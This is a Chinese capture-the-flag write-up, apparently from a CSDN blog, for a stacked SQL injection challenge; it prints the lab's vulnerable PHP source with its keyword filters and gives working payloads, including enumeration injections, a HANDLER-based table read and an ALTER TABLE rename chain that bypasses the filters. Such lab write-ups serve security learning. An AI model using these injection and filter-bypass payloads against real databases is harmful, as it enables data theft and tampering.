大佬的完整wp:buuctf-web-[强网杯 2019]随便注-wp_取材于某次真实环境渗透,只说一句话:开发和安全缺一不可-CSDN博客
知识点:
- 单引号字符型绕过
- 堆叠注入
- 可以执行多条语句
- multi_query():该函数可能引发堆叠注入
- handler用法
- mysql专属,可替代select部分功能
- handler 表名 open;handler 表名 read next;handler 表名 close;
- 和文件操作类似,先打开一个表,读取表内容(一条记录),关闭表
-
# 打开一个表名为 tbl_name 的表的句柄 HANDLER tbl_name OPEN [ [AS] alias] # 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览 HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] # 2、通过索引查看表 # FIRST: 获取第一行(索引最小的一行) # NEXT: 获取下一行 # PREV: 获取上一行 # LAST: 获取最后一行(索引最大的一行) HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] # 3、不通过索引查看表 # READ FIRST: 获取句柄的第一行 # READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行) # 最后一行执行之后再执行 READ NEXT 会返回一个空的结果 HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] # 关闭已打开的句柄 HANDLER tbl_name CLOSE
- strstr函数对大小写不敏感;可以利用大小写绕过
- 数据库相关知识
- show databases;
- show tables;
- show tables from 数据库名;
- show columns from 表名;
- desc 表名;
- 这道题中的表名必须用 反引号进行包裹;如`words` `123456`;要不然不识别
- 解题方法
- 方法1:handler代替select绕过
- 使用handler函数进行操作;这里是bp抓包中的payload,所有空格都用+代替了,而且相关特殊符号也用url编码了
- payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23
- 使用handler函数进行操作;这里是bp抓包中的payload,所有空格都用+代替了,而且相关特殊符号也用url编码了
- 方法2:表名操作绕过
- 通过修改表名和字段名进行绕过
- 先把表名和字段名修改为界面能显示的字段数据,然后再让界面输出所有数据
- payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23
- payload:inject=1'+or+1=1%23
- 先把表名和字段名修改为界面能显示的字段数据,然后再让界面输出所有数据
- 通过修改表名和字段名进行绕过
- 方法3:预编译绕过(这种方法没做)
- 直接定义一条语句给变量,然后执行该变量
- strstr函数不能区分大小写,利用大小写绕过set prepare等关键字检测
- 流程
-
set用于设置变量名和值 prepare用于预备一个语句,并赋予名称,以后可以引用该语句 execute执行语句 deallocate prepare用来释放掉预处理的语句
-
- 方法1:handler代替select绕过
源码如下:(本题无提示,源码自己找的)
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
</pre>
</body>
</html>
通过观察源码发现有两层waf
前戏就不演示了,通过不断的测试发现这里存在堆叠注入,而且还有waf过滤,最关键的是把select和英文句号给过滤了,而且提示内容给出了waf1的信息,到这里我就蒙了,这怎么搞呀,最多能看一下表名和字段名,想使用outfile写入文件发现英文句号被过滤了,彻底把我难住了;看了一下大佬的wp才发现了新大陆,大佬的wp放到开头了
这里是单引号的字符型绕过
通过堆叠执行的前置命令:
- 开始通过执行下面的命令获取到了关键的表名和字段名,flag就在数字表名中
- 表名一定要加``符号(反引号);不然不识别;我就是这里被卡死了
- 1';show+databases;--+
- 1';show+tables;--+
- 1';show+columns+from+`1919810931114514`;--+
- 或者1';desc+`1919810931114514`;--+
- 1';desc+`words`;--+
- 1'+order+by+2--+
- 1'+order+by+3--+
直接上关键节点:
方法1:
handler绕过:
payload:inject=1'+;handler+`1919810931114514`+open;handler+`1919810931114514`+read+next;%23
方法2:
修改表名和字段名绕过
payload:inject=1';+alter+table+words+rename+to+words1;alter+table+`1919810931114514`+rename+to+words;alter+table+words+change+flag+id+varchar(50);%23
payload:inject=1'+or+1=1%23
方法3这里就不演示了,每种方法都得重启一遍靶场,可以直接看开头大佬的wp,写的很详细;
我这里主要是记一下sql注入的知识点,一些离奇的绕过方法
10